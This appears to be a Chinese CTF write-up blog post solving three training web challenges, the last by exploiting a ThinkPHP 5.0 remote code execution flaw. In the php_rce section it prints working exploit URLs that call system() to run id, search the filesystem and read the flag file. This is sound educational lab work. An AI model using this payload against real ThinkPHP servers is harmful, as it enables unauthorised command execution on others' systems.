CTF做题笔记2

本文详细介绍了攻防世界Web进阶区的三道挑战题解,包括baby_web、Training-WWW-Robots和php_rce。在baby_web中,通过使用Burpsuite工具,将1.php修改为index.php,成功获取flag。在Training-WWW-Robots题目中,遵循robots.txt的提示,访问fl0g.php找到flag。在php_rce挑战中,利用ThinkPHP的远程代码执行漏洞,构造payload执行系统命令,最终找到并展示flag。

攻防世界Web进阶区题解

第一题:baby_web

题目:想想初始页面是哪个
解答:用Burpsuite拦截数据包,Send to Repeater后将1.php修改为index.php,发送

请添加图片描述

在Response返回头中得到flag

请添加图片描述

第二题:Training-WWW-Robots

题目:暂无
解答:启动场景,发现如下提示

请添加图片描述

访问robots.txt中的内容

请添加图片描述

继续访问fl0g.php,获得flag

请添加图片描述

第三题:php_rce

题目:暂无
解答:启动场景,发现如下提示

请添加图片描述

发现这是ThinkPHP远程代码执行漏洞,去搜索相关漏洞信息

请添加图片描述

payload

请添加图片描述

http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
远程控制代码执行请添加图片描述
查询flag
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name flag

请添加图片描述

获取flag
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

请添加图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值